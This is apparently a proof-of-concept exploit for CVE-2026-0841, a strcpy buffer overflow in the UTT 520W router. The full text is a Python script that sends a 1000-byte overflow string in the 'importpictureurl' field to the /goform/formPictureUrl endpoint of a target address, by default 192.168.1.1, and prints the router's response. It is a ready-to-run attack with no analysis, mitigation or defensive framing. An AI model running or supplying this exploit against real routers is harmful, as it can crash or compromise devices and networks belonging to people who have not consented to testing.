CVE-2026-0841 UTT进取520W路由器strcpy缓冲区溢出漏洞

import requests import sys target = sys.argv[1] if len(sys.argv) > 1 else 'http://192.168.1.1' # Buffer overflow payload - 1000 bytes to overflow the buffer buffer_size = 1000 overflow_payload = 'A' * buffer_size # CVE-2026-0841 PoC - Buffer overflow in /goform/formPictureUrl url = f"{target}/goform/formPictureUrl" data = { 'importpictureurl': overflow_payload } print(f"[*] Sending exploit to {url}") print(f"[*] Payload length: {len(overflow_payload)}") try: response = requests.post(url, data=data, timeout=10) print(f"[+] Response status: {response.status_code}") print(f"[+] Response: {response.text[:200]}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}")